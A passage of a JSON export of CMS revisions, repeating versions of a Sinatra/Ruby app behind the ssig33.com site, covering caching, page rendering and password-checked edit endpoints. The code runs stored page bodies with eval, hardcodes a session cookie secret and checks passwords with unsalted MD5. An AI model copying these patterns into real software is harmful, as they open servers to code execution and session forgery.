env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-03-12T07:26:05.000Z","updated_at":"2014-03-12T07:26:05.000Z"},{"id":2625,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+20].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-03-12T07:28:14.000Z","updated_at":"2014-03-12T07:28:14.000Z"},{"id":2626,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+20].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = $memcache.get(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache)#, 80000)\r\n else\r\n set_cache(cache_path, for_cache)#, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-03-12T07:31:19.000Z","updated_at":"2014-03-12T07:31:19.000Z"},{"id":2627,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+20].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache)#, 80000)\r\n else\r\n set_cache(cache_path, for_cache)#, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-03-12T07:32:43.000Z","updated_at":"2014-03-12T07:32:43.000Z"},{"id":2628,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when 